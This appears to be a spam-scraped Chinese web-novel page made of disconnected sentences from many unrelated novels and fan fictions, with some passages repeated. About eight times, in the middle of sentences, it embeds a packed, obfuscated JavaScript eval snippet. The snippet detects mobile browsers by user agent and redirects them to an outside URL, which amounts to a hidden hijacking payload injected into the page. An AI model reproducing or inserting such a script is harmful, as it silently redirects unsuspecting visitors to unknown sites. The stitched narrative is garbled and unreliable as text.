“全部给老子住手!”就在迫在眉睫之际,一声厉喝打断了双方的行动。 王纯要陆军此行来警局目的,正是为了邵阳市最近出现僵尸啃人恶意事件,电话里面王纯只是简单说明一下,问陆军有没有时间,有时间就赶紧过来一趟,陆军就马上过来了。 楼上,狮子的处境确实已经到了那份危机的时刻,他们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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如此,苏武便才心满意足。 任何事,都有两面性,有话说,骄兵必败, 严峻邦看见李星云眉头一皱,背后冒出了冷汗,连忙解释道,还以为他生气了。 可是……当林婉儿想到公司里那个墨渊的时候,又只能无奈的叹息一口气。 其实,徐杨和羚羊科技的人才培养计划很早就开始了,年初徐杨正式参与公司管理工作之后,就启动了相关计划。 零说过如何天外来客横跨宇宙狙击,那么现在的科技再怎么备战也没有什么用,现在只希望这个时间来得晚一些。 "你觉得,你很幽默?老实交代!不然你在宿舍玩手机的事情,我就交给会士处理!"贺轩威胁到。 他想通了,宋芷妤身为紫微星,自己本身就要帮衬她完成大业,如今与她变成一条绳子上的蚂蚱也无所谓。 第二节课则是学校推荐的正式课,随着时间的流逝,学生们也陆陆续续的来到了教室,班级里也热闹了起来。 驱魔师如果遇见特殊情况可以汇报到冒险者协会,经过审核过后就可以对其他驱魔师发布协助任务,虽然没有金钱的奖励但是积分却会因此有所提升。 在公司对面的咖啡馆里,其中一个记者模样的人忽然拉着对面的人说道。 安雅想要坐狗狗拉的雪撬车,但是又不好意思说,韩宣瞧见她一直盯着那里,笑道:“等我们回来带你坐,现在那里人多,排队要等好久。 蓝晶儿简直不敢相信自己的眼睛!但是,事实证明,狼们不仅看不到它,还碰不到它。 就连那地面也是由金刚岩铺就而成,显然与一些普通的地理有着很大的差别,这金刚岩的坚硬程度即便是姬长风目前相当于四百多倍人的力量也是最多只能全力挥动拳头四十多次以后,便会力竭。 “哇!这么优惠!”刘扬一冲动,便是想直冲上台去领奖,但一瞥到那个一脸阴郁的夏誊,他立马是蔫了。 他心里其实想的是另一桩:没想到这个韩黑狗今天来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“举手投降,不然就开枪了!”一个拿着大喇叭的警察冲着黄飞喊道。 惠妃喉口‘嗬嗬’了两声,强扯了一下嘴角便失去了所有生命的迹象。 而莫昊天自然也从莫九卿的眼中看到了坚持,但也觉得莫九卿的这个要求很合理,便点头应允了下来。 似乎是捕捉到了苏皓语气中的不悦,安言急忙攀上了苏皓的手臂,微微低着头,扯着苏皓的衣角,安言一副委屈的样子,一双水眸中的晶莹流转着,似乎就要滴落下来了一般。 想着想着就睡着了,迷迷糊糊中好像苏倩倩来到了我的房间,坐在床边轻声的和我说着话。 方木见到方家宅子外面挤满了还在等待的人,等待着自己能被方家看上,从此过上好一点的日子,那些人还以为方家所需的人并没有招够。因此,就算是烈日曝晒,他们之中也没有一个是中途离开过的。 明前看到崔悯激烈扭曲的脸,吓了一大跳,一下子放下窗帘不敢再看了。 池宪睁着眼,尽力想要看清那车牌子,可是天太黑,那辆车又退的很远才转弯,前方刺目的光根本无法让他看清。 至于性格方面,戚光齐比较沉稳,司空远则比较温和,而厉宁的性子就比较冷。 说完,我将这把斧子的属性发在了家天下的公屏上,虽然现在已经是凌晨三点,但家天下一向以盛产夜猫子而闻名,逍遥和诛八界都没有睡,而是在通宵冲级。 第二日,高世曼痛的更加历害,高克本得知,跺了跺脚亲自入宫回话儿,皇上听说高世曼生病,只道赶了巧儿,再加上明日便是端午佳节,便不再理这茬儿。 过了好久,王芸子才掩饰住了砰砰乱跳的心和潮红的脸,转过脸也望向了窗外。她一转过身,脸色便阴沉下来,眼光也阴郁极了,心头涌上了一种烦燥感。偶尔回头观察明前的动静,心中更见忧郁。 改造计划肯定是要到手才能改造嘛,现在着什么急?不知道心急吃不了热豆腐么? 然而,当我们刚刚踏入九天玄塔第九层的时候,脚下已经没有了楼梯,而整个塔也消失不见了,我们所有的玩家仿佛都置身在了一个巨大的球体中。 这时一个雷系魔法比较强大的法师,只可惜,他的地狱闪只是劈到了我一下,不过疼的要命,不到四万的生命值被打掉了。 胡英泽无视张青山勾动的手指,无言中,却紧贴着张青山,摆明了:你说我就听,不说,拉倒。反正我是不会被你敲诈的。 哪怕雪伊再自恋,她也绷不住了,毫无疑问,陛下已经把她忘得差不多了,要是自己继续这么沉沦下去,前途就彻底完了。 他原本打算买的那本练体功法,是一种土属性的练体功法,价值为两万海神点,要是他能修炼这本练体功法,用一步登天来形容,都不为过。 “放心,我会帮你的。”罗如龙答道,一边在考虑是不是趁帮张若兰提升实力的机会把她拿下。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14702549|157040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 见到三人脸上的表情,李云脸上突然也带上了一抹笑容,随后李云身上骤然发出一阵血红色的光芒,那股光芒虽然微弱,但是却好似红日一般,让人无论如何也不能忽视。 四百九十七个场地,让这四千九百七十五对选手分成十波参赛,这样一天的时间刚好安排下来,并不会觉得空,也并不会觉得紧蹙。 “只要你能做出最合理的安排,我们就能保证您以后生活的绝对安全和自由”。 因此,眼见着自己就要被压入大牢了,去苦于找不到如何讨好徐恩浩的方法,急的大汗淋漓。 却不想当他提起热水瓶时,里面却是空空如也,这让他原本准备简单洗脸洗脚的打算,也是瞬间的直接落空了。 原因很简单,连冯·莱曼这种军工大师级的人物都不知道的事情,一个籍籍无名的普通专家又怎么能知道? 顾晓说完,就要伸手接过林宗河手中的酒杯,然而林宗河却突然收回了手,让顾晓扑了个空。 但是有一句话,一直很想说,一直不得不说的就是,很谢谢你们一路跟着我走到现在。如果没有你们的留言和支持,我可能也不会知道,有你们原来是一件这么温暖的事情。让我觉得我何德何能,能和你们遇见,久伴。 在萧村士兵的不断攻击下,生番以惊人的速度在死亡。在萧村士兵和生番之间,一道血肉之墙伫立。那是生番的尸体堆积而成,借助武器优势,萧村士兵踏在尸墙之上居高临下对生番展开屠杀。 主要是乔治·杜威在说,李牧在听,李牧会从中选择比较有价值的部分,作为骏马武器公司今后这段时间工作的侧重点,乔治·杜威也需要借助 李牧达成自己的目标,所以两人是各有所需。 第124章 呸!什么东西! 卢俊义回来了,先到了东平府,带来了一千匹马,这是当初苏武与金人的交易尾款,当然,苏武也再把铁给女真人补齐。 还带回来了大量的毛皮,珍珠,人参,具体值多少钱,还不好估价,简略估了一下,大概在十五到二十万贯左右。 朱武也终于把这一趟抢劫梁山的财货都做了一个统计,其中大量的东西,也等卢俊义回来 应寒时沉默了一会儿,也知道她初经人事,很可能无法再承受了。 几人走在回去的路上,几人也是对凌寒的身手赞叹不已,但是凌寒只是说自己在武术培训班练过,几人才没有怀疑,但是刘飞听到凌寒的解释之后只是微微一笑,显然这种说话没有说服刘飞,但是刘飞没有去过多的去问。 “可不是,昨天我吃了破障丹,修为就突破到了炼气期后期。要知道,我可是在进阶炼气期后期的关卡上停了好几年了!”又有人道。 皇陵试炼开启后,禁制就关闭了,外人进不去,消息也进不去,只能等里面的人自己跑出来。 应寒时也曾想过,隐匿在依岚山中的,会否是流亡反叛军的人。因为据他所知,曜日坠落之前,已有部分反叛军驾飞船成功逃逸。却没想到,今天遇到的,会是一个自称帝**人的下级士兵。 凌寒三人走进去之后,一阵血腥的味道涌进鼻腔,因为现在是早晨,这个楼道匆匆忙忙上班的人都没有想到,虚掩的门后面血迹横流。 只见不知道多深的地方,大量黑色的虚影正在缓缓浮动,仿佛海藻一般。 他握紧了她的手腕,却偏头看着另一侧,像是直视她一眼都不能够。 然而易秋却连哼都没有哼一下,相比**的疼痛,内心的难过,反而对他的打击更大。 沈千沫没有捂脸,也没有擦嘴,只是冷冷的看着濒临失控边缘的孟天珞,保持着警惕,以便随时蓄势待发。 在金贵妃进宫之前,乐萦纤曾经是澜沧洙最为喜欢的宠妃,在后宫可谓一手遮天,不可一世,谁要是胆敢在背后说一句不好听的,隔天顶会被割了舌头丢去喂狗。 说到白子东的事,水青对他突然将苍穹放手的态度有点疑惑,“也许是我多心了吧?白子东对我没别的意思。”要真是这样, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14702550|157040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她可太容易自恋了。上辈子的毛病,难改。 此时天色已经逐渐暗淡了下来,看了看天色,萧然洗漱一遍后便直接倒在床上睡了起来,明天也应该再次上路了。 可就在刚才,那座冰山,他那狭长而冷漠的双眼里,簌簌的落下了两行晶莹的泪水来。 总共跳出了二十多个数字来,其中四个2000多的是被我那战争践踏打掉的,剩下的都是皇朝的牧师加的血气,他妹的,居然搞出了这么多的牧师来,那我还杀不了他了? “门主,咱们真的要把无极殿踏平?”上官明来到周道面前问道。 “好一条灵兽山脉,被御兽山庄占据了那么长时间,倒是变成了仙山灵脉之地。”裂天神兽说道。 “砰”地一声之后,又连续传來“砰砰砰”响个不停的声音,眨眼间,吴杰便穿过由一千飞鹰军士组成的锋矢阵,到这时,那一千飞鹰军士除了顿上一顿之外,根本沒有其他异常反应。 宏宇坐在那里笑了笑,然后转头看着窗外。我们两个坐在车上都没有说话,听着出租车里播放的伤感音乐,心里竟然有些忧伤。 第125章 要出事了…… 等着吧…… 只看天目将彭玘往那山口关隘去叫阵,一身甲胄,大喇喇打马而去,一柄三尖两刃刀在手。 开口大呼:“梁山贼寇听着,某乃朝廷副先锋彭玘,我等奉天子之命,前来剿贼,尔等若是不想身首异处,还不快快下山投降!” 关隘之上有那宋江,他一听来话语,立马回话:“将军辛苦,我等本也皆是良民, 等着吧…… 只看天目将彭玘往那山口关隘去叫阵,一身甲胄,大喇喇打马而去,一柄三尖两刃刀在手。 开口大呼:“梁山贼寇听着,某乃朝廷副先锋彭玘,我等奉天子之命,前来剿贼,尔等若是不想身首异处,还不快快下山投降!” 关隘之上有那宋江,他一听来话语,立马回话:“将军辛苦,我等本也皆是良民, 纵使如此,萧炎的眼眸中却有着一份喜色,这一波巨浪不过是炼帝海天炎的一部分,远远没有达到成熟,吞噬之后经过另外两道帝炎的培育,等到成熟,实力必将再一次增长。 苏之仰皱了皱眉头,萧炎身上的气势又恢复了原样,那一瞬间,难道只是错觉? 打定主意,程寅摔门而去,直奔县令府。可是等他到了以后,却并没有见到门神一样的李斯,反倒是只有跟他年龄相仿,瞎了左眼的大管家守在门口。 醒来的第一眼,百里子谦立即开始打量周围的环境,在看到一边的诗瑶时,他轻轻的笑了一下,可接着又皱起了眉。双手紧紧的捂着肚子。 夜祥的眉头拧了拧,“比我还厉害?”自己却没发现,这话问得多酸。 夏方媛觉得心里一阵委屈。之前在家的时候被夏正欺压,现在又被宫少邪欺负。 她可是清楚的记得,弘一之前那失魂落魄的样子。还有伤她时的样子。 尽管曾经短暂消失,但是,她知道,自己回来了——从此,这片土地又将恢复新的生机与活力。 听到古瑞卿叫自己,诗瑶立即惊醒,她这才发现,自己居然一直盯着古瑞卿在看,诗瑶顿时觉得有些尴尬。 梁浮笙说对了,她今天的举动,其实是极其聪明的,当机立断,她自己心里也有十足的把握,他根本就没有批评她的由头。 “没错,孤,确实如此想。“帝君笑着说,那薄礼似乎也低沉的思索了一番,而身后的徐清若,则是用着愤恨的眼光,看着颜徐。 仔细思索,异王在战争开始后做了什么,他先让地行种大军拖住轮回乐园方,之后马上抽调大部队,转战同样是硬骨头的教团。 他的脾气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14702551|157040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又岂有这么好,之所以说这么多,不过是想要羞辱对手。 “我并不怎么关注那些下水道的老鼠。”区区一个黑帮而已,格林完全没将其放在眼里。 “有了这份成绩,主人应该会满意吧。”一想到不久前主人在通讯中所说的那些话,菲莉克丝忍不住舔了舔自己的嘴唇,眼神变得越发火热。 剩下的护卫将武器归鞘,既然不是敌人,那么再用武器指着就太失礼了。 “没有受过专业的训练,作为一个普通人已经不错了。”格林对此倒是并没有介意。 “是的,抚州的西街,通常是贫民居住的地方,这里是东街,算是富贵人的地方,这里的人,通常把西街来的人,,称为乞丐。“白犀见怪不怪的说。 你看看你的一切一切的表现,都让我觉得自己都成了负心汉,这到底是什么个情况。 慕容雪一呆,完全没想到接下来会是这样。她刚才真的担心秋少白会听信林浩然的。 他的口中发出低沉如羊的声音,这声音一出现,远处听到的那些天骄,只觉得自己的眼前出现了重重幻想,不可自拔。 这是一轮金色的太阳,释放着万道金光,以这太阳为中心,黑暗迅速的消失,就像日月交替一样,太阳一出,就从黑夜来到白天。 第126章 入阵!苏将军入阵! 钦差来了,换个更准确的词,天使,天子使者。 也是那殿前司太尉高俅时时都在关注战况,对呼延灼寄予厚望。 还有呼延灼也主动请高俅帮忙…… 天使来了,带来了天子的问候与高太尉的嘱咐,还带来了轰天雷凌振,还有天子赏赐的美酒。 那军营里,自是一番热闹,喝了天子的美酒,似乎连士气都能起来 当年负气离开,是因为她一直以为顾胜钧对她是同等的爱。可是结果令她痛心不已,爱情天秤倾斜,她接受不了,她逃避了现实。而现在自己是个名不正言不顺永远见不得光的第三者。 「这到底是怎么回事,怎么你俩刚才还好好的,突然就分开了?」兰迪疑惑道。 我本来都已经是变得非常冷静了,但是在听完了这些之后,一下子也就更加的开心。 幻九龙封禁的消耗实在太大了,就算是长门,都难以长时间负荷。 日向结弦伸手拍了拍宇智波止水的肩膀,他能本能的站在自己身前,用出须佐能乎,就已经表明了他内心真正的想法和态度。 看着出来的黑旋风,不断用头上的银角顶着周悬蜂胸口,好像正在撒娇似的。 她面容艳丽,此时更添凌厉之美,像一朵盛开的罂粟花般浓香诱人。 「不,相反,这个地点作为五影会议召开的地点,很合适。」照美冥精致的面孔微愣,随即摇头说道。 秦冽急着用钱,以其人之道还治其人之身,第一次用黑客技术黑了对方电脑,又自己编造了一些证据,生生把喻丞的副总送上了法庭。 不知道是多少人梦寐以求的生活呀,不需要努力,就可以享受到优质量的生活。 这位村长与在场的每一张麻木不仁的脸一样,脸上没有任何表情,只有眼里对食物的渴望。 你这么问可就没啥意思了吧,我都跪下了,你还想怎么样,难道真要杀了我不成? “那我可不去,我们今天杀了他们那么多人,万一他干掉我了,怎么办?”李流听到了,马上摇头说道。 但白狐剑首迎着这一剑,却只是神情平静,而后慢慢的一剑向前斩去。 其余人都赶紧望了过去,之见那怪物正挨个屋子,缓慢的转悠着,胯下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14702552|157040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的大嘴一张一合,似乎是在捕捉什么味道一样。 当黄中英龙虎和鸣的一拳触碰姜真武拳头的刹那,就感觉到了这一拳之中的无穷大地奥妙,一股厚重的劲道冲击而来,不光是对着他的拳头,而是全方面的,对他的整个身体,从头到脚冲击而来。 习得斩刚技巧的刘天宇,现在连钢铁都可以轻易的展开,而且MR3过于相信自己的蜡烛盔甲,面对刘天宇的攻击竟然不躲不闪,所以MR3悲剧了。 城内的守军,对桥蕤都有着一种敬佩,让他们在威胁桥蕤安危的时候出手,是很可能激起兵变的,陈纪,阎象不想冒险。 此时的仙门法舟,已经座落在殿前等候,但其他的弟子却还未来。 喷一下房长老,他无所谓,可是龙一他也不好多说,毕竟龙一天赋绝顶,将来可能会成为龙组的顶梁柱。 偌大的别墅之中,落枫突兀的出现,晃了晃脑袋,傻笑着走进卧室。 想想也是,此时他整个山寨超过六百多口子人了,大部分后勤事务都需要董状手下的辅兵们负责,那些战兵只负责训练和打仗,确实有点捉襟见肘了。 第127章 那我就收下了! 就这样过了几天,一身疲惫的腕力穿着它的拳皇战袍和金腰带回来了,阿治也不怕有人敢抓腕力,火箭队,就凭他们?开玩笑!众人的愤怒就算是神奇宝贝联盟也承受不起。 山地步兵营第二连三排乙队队官冯英突然接到临时调令,命令中让他立刻把乙队指挥权交接给副队厉民,去设在磨盘城内的山地步兵营营部报道。 剩下的几个军户也捂着嘴全跑了,他们不敢和韩咬儿抢位置,只好蹲在另一边数,一来是就近比较方便,二来嘛估计是为了呕吐的时候不容易飞溅到衣服上。 段郎仔细看,不敢相信竟然有如此相像的两个孪生姐妹!根本看不出两人的差别在哪里。 储物戒指的角落中已经存储了接近三十颗魔兽的魔核,只是决大部分都是凡级上等和下等的,约有二十颗左右,人级下等的魔核大概十来颗,上等的只有一颗。 从最初的名不经传的下层佣兵队,龙吟中的五人在无数次生与死的边缘徘徊,一步一个深坑的踏上佣兵榜的榜眼,中间的挫折与危险,恐怕就算他们自己也不能说清楚遇到多少,但是几人从未放弃,一如既往的坚持着。 一声令下,星傀呆滞的身形猛的一颤,而后仿佛初春的嫩芽一般,疯狂的吸吮着周围的灵气,盔甲上的金色变的无比刺眼,一柄金色长枪盈握手间,璀璨的金色在盔甲上逗留片刻,以燎原之势疯狂的涌向手中的长枪。 ‘轰隆’一声,巨大的闪电像光明利剑劈开苍茫大地,怀中的伊人像是触电一般痉挛,连那本来瘫软的娇躯也是绷紧,那夺人的沟壑愈显妖娆。 随后西庇阿回到了自己营地里,告诉了拉宾努斯这件事,对方十分震撼,说这样的话总攻的事情又该如何。但西庇阿却信心万丈,他说道只要有三十头战象就可以了,他一定会击败凯撒的。 原本,林奕认为这里足够大,能容下月族。他却不知,即使再来几个月族,也不会出现拥挤的情况。 “没有你玉大仙安心,怎么样,如今是得偿所愿了。”碧荷眼眸依旧闭着,嘲讽的说着,同相处过那么多年,她自然知道说什么话能打击他,这次玉无双,怕是真的阴沟里翻船了。 “许兄弟,你这是……”听到曹宇的惊呼,恩全利也看到许哲竟然选了三十多块原石,脸上挂满了惊讶的神色。 路飞扬否决了冒险的念头,转而思索其他比较保险一点儿的办法。 走进里面的包厢,邵子华才发现这屋子很特别,雅致,幽静,在包厢中间拉着一个苏绣的帘子,将里面挡的严严实实。 顾筱北站在厉昊南身边,看着众人笑脸轻扬,长长的卷发如瀑布般庸懒妩媚的披在身后,厉昊南站在她的身边,高大‘挺’拔,睿智沉稳,有一种强大的气场,可眼神在看向顾筱北的时候,却满是宠溺和深情。 老人雅的背后,冒出一根根的骨刺,然后,一对对的翅膀展开,一团团的光泽从老人雅身上散发出来。 “你是谁!”莱恩斯眼中射出一道冷光,盯着这个生物,一字一句的问道,那金属般的声音,更是显得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14702553|157040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冷傲。 那少年被甩在地上,捂着胸口,闷闷的咳嗽几声,脸色有些青白。 “好,过去跟她打个招呼立刻回来,拍卖马上要开始了!”厉昊南身边缠着好多人,走不开,只好暂时先放开使劲往外挣的顾筱北。 楚蓉三人大惊,还没得及闪开,一阵劲风就以拂面刮过,正是羞花。 李绿蚁将栾菁菁护在身后“恐怕这一点,你白江秋早就发现了吧,这个房间如果是这样的机关,那么在25年前,你必然就能知道原因。”但是你刚才却一语不发,也没有说。 薛夕通过了他的好友申请,直接忽视了他给的备注,自己备注名为:画画的。 冯锷阻止了川军和弟兄们继续追击,白茫茫的月光中,他不知道还有多少鬼子。 “我?内奸?你没开玩笑吧?没看到我这么卖力的寻找内奸的线索吗?”低头把一张卡片拿了起来,陈赫赫晃了一下手里的几张卡片,这都是他一路上找到的。。 “哎呀,严姐真严格。你以前可不是这样的,一有时间就把我拖进你的房间做那种事。”张宏博说着说着就拉陆妍的手。 野战医院要跟着十一师师部撤退,这里的轻伤员全部归队,医生和护士正在挨个交代这些提前归队的伤员。 我们现在要的东西都是很多的东西都是不同的,想象的那些特别的感觉也都是没有差异的样子。 不知为啥,想到过两天就得离开这里去录制节目了,林毅轮瞬间感觉碗里的面条都不香了。 第128章 将军!一定要杀光他们! 山寨之上,晁盖有些懵,只问:“咱们胜了?” 吴用立马就答:“自是咱们胜了,官军退了,就是大胜!” 晁盖陡然满脸是笑,左右看去:“弟兄们,官军着实不堪一击,一战就溃!从今往后,弟兄们只管大碗吃酒,大口吃肉,只管逍遥快活!” 刚才这寨墙之上,还多是悲色,此时一看官军已然拔寨在走,便是个 这件事从头到尾都是她策划的,皇上要是真查到她头上来的话,那可坏了。 祭坛上的黑莲教徒也是如释重负,刚才他的心差点都跳到嗓子眼上了。 时空神教出动了四位的至强者,和大量超级圣阶,还有鱼逸这个半神级强者坐镇。 “老夫人言重了,我俩一向是互相照顾!”姜明诚忙起身回话,已经和郭弘哲成为挚友,经常谈论学问至深夜。 她们心里这个难受劲的,也不知曦贵嫔有什么好的,现在又不能侍寝,还惹得皇上三天两头的往玉芙宫跑。 独孤氏看的啧啧称奇,“阿菀可真厉害。”这些法子都是她想出来的吧? 他们来的及时,刚好看到那全市首富站在张薇的面前,并吩咐身后的西装男打开了黑皮箱。 拓跋曜是第一时间就接到崔明珠难产而亡的消息,而后宫嫔妃则是第二天才知道李贵人生下皇长子、难产而亡的崔贵人,不,现在已经叫崔夫人生下皇次子,而陛下说李夫人位卑,不堪为太子生母。 姜玉姝摆摆手,“过奖了。药材才半亩,侍弄起来并不麻烦,自家用不了多少,与其白搁坏了,不如送出去救治他人。”语毕,她招呼同伴,告辞离去。 马仲分得清轻重,那力道不轻不重刚刚好,不至于让顾之山魂飞魄散,又给了他极致的享受。 二皇子对这件事的发展,心里也是很高兴的,憋了这么久也装了这么久,终于有机会喘息。 这一招当初海因克斯执教的时候就曾经采用过,那个时候就把林全恶心的不行。 大肥是他的高中兼大学同窗好友,本名王大飞,但是体型太过膨胀所以绰号大肥。 还好程沄之前已经做了大半,否则这一哄而来的门派弟子还真让她忙不过来。 “总之先吃饱再说。”林辰不等派蒙说完就捂住她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14702554|157040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的嘴,然后趁着安柏不注意立刻点了一大堆最贵的食物。 地面是白色类似鹅卵石铺就的一条路,走了片刻,程沄步入正堂。 李卫东对他有救命之恩,依着他的性格,如果不做点什么,这辈子都不安。 一时间,大牛都差点被吓得尿裤子,一动不敢动地不停地呼喊着“饶命”的声音。 “我乃冥界阴司地府任命的城隍,我即是尧山山神,日后我将带领鬼捕阴差镇守此处,护佑尔等不被鬼怪侵袭,接引尔等死后魂入冥界。 你可以说他是为了保命专门研究出来的逃命规律,但总之他能一次一次的险象环生,便是足以说明他在逃命上面的确有着非凡的造诣。 趁着爆炸的掩护,沙俊龙和安德烈带着人直接从右翼迂回了过去。 “你当我孙大少爷是被吓大的?今天我非让给你跪在场上求我干你不可!给我带走!”一撮毛也是个横行贯了的主,立马招呼手下的几个跟班上去抓住孤月。 “马克你先别激动,先听她说说。杰拉,你刚才是什么意思?是不是有别的方法?”达瑞阻止了马克,让杰拉继续说。 第129章 今夜莫求饶! 城外军营里,气氛沉闷不已,即便起了鼓声,众人聚集也是拖拖拉拉…… 呼延灼昨日就在军营里说了京东两路招兵之事,两贯的月俸,便看哪些人家中牵挂不多,愿意背井离乡。 苏武再来,便也派人四处去说,也是宣传,军中吃住都好,将军也好,指挥使也好,诸如此类。 禁军,那是一个也不要,主要在辅兵里寻 事实上陈问今也问过认识的朋友,王帅也打听过,但都没有听过李香这号人,以至于他们不确定李香用的是不是真名字。 阿豹逐个呼叫认识的人,谁都没见过李香,他又问蔷薇,那头说帮他打呼机。 可是他们惊恐的发现,他们根本就逃不出山寨,整个山寨被一座阵法笼罩着。 萧龙还没有回过神儿来,而香儿也不在意,接着自言自语的说着。 “哈哈,你们都去死吧!”忽然,一道汹涌澎湃的刀芒拔地而起,凶如猛兽一般,朝着这对师兄妹攻杀过去。 四年后,钱满途再踏入沈阳,他已经变得更加奸猾。当他接到钱满程送来的请柬,告诉他有老朋友想见他时,他就猜到,贾立波要对他动手了。 “我等得就是你这句话!”高君心头大乐,就等着他求援呢。 李天逸冷冷的看了赵乐天一眼,转身走回村里。他径直来到了孙大拿的家里。 漂浮在空中的界壁碎片像锋利的刀刃切过黄油一样,毫无停滞地划破灵感王的手指。而这种能够伤害到鬼王的碎片,在洞口散落得到处都是。 想到这里,林佳把手中那部极为普通,经过反复检查什么都没发现的手机放到桌面上,双手抱胸往椅背上靠去。 冯老五作为常驻此地的摊贩自然是认识卞蓟门的,必将卞蓟门还是尽职尽责的时常会来检查。 “野兽那边情况如何?我是说,有没有发现这次进攻的野兽与之前有什么不同?”李正问道。 只不过现在还并不是收获的身后,目前的自己只需要靠“蓝海”的身份拴住贾元春就够了,之后自己的真实身份陆辰在完成一系列计划后级基本上可以完成了。 “老身三个儿子,都是被猩红神殿的圣卫军吸干的。”火炼老母神色平静的说道。 忽然间,远处烟尘飘荡,马蹄声滚滚而来,几人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14702555|157040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 循声望去,只见大约百骑人马,一身杂乱服饰,但都裹着麻布头巾,手里马鞭扬起落下,嘴里怪叫连连,耀目的日光下,竟硬是造出了一种百鬼夜行的感觉。 姑苏死死盯着手中的玉简,原来一向温和的面孔,此时变得非常狰狞。 其次,两名前来探亲家属的出现纯属偶然。据事后调查了解,刚刚到了不足一周的她们甚至不认识钟博士钟彩妮。 “陛下,是红喉鸟,一种最高可以成长到六阶的凶禽,这一只是斥候鸟!”王越在边显现,面色非常难看。 傅原当然知道,国庆节前钟彩妮在吴明保护下外出旅游时经历过的风险。而且,他更清楚是自己亲自安排齐志斌前去瑞博集团游说董事长钟瑞,不要接受荣威保安公司提出的和解条件的。 然而她那娇滴滴的嗓音还没落下,辰柏霖却已站起身,转身绕到了朱龙另一边落坐了。 果然,沉默了一会的云山开口道“你是想问,我为什么放任对方绑走梦婉如而不制止吧? 